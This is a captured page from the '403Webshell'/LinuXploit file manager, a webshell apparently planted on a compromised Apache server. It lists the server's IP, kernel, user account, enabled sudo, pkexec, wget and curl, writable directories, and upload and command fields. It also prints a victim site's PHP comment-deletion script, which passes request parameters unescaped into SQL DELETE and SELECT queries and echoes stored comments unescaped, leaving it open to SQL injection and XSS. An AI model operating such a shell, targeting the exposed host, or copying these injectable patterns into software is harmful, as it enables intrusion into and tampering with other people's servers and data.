403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/TSCP2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/TSCP2/comm_entry_delete.php
<?
include 'config.php';
dbConn();

if (isset($_POST['post'])) {
$comment_id = $_POST['comment_id'];
$query2 = "DELETE FROM cms_members_comments WHERE comment_id='".$comment_id."'";
$result2 = mysql_query($query2); 
printf("<meta http-equiv=\"Refresh\" content=\"0;url=./comm_entry.php\">");

}  else {

if ($_GET["comment_id"] == "") {
die("<center>no ID");
}
$comment_id = $_GET['comment_id'];
$result = @mysql_query("SELECT * from cms_members_comments where comment_id = '$comment_id'");
?>
<br><br>
<table width="800" border="0" align="center" cellpadding="5" cellspacing="0">
	<tr>
		<td bgcolor="#CCCCCC"><span class="fourbold">DELETE COMMENT</span>
		</td>
	</tr>
	<tr>
	<td>
<?
echo "<table width=500 align=center><tr><td>";
echo "<div align=center>";
while ( $row = mysql_fetch_array($result) ) { 
echo "Are you sure you want to delete:<br><br>";
echo $row['date'] . "<br>";
echo $row['comment'] . "<br><br>";

echo "<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"POST\">
<input type=\"hidden\" name=\"comment_id\" value=\"" . $comment_id . "\">
<input name=\"post\" type=\"submit\" value=\"Delete\"></form>";
echo "</td></tr></table></td>
	</tr>
</table>";
}


}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit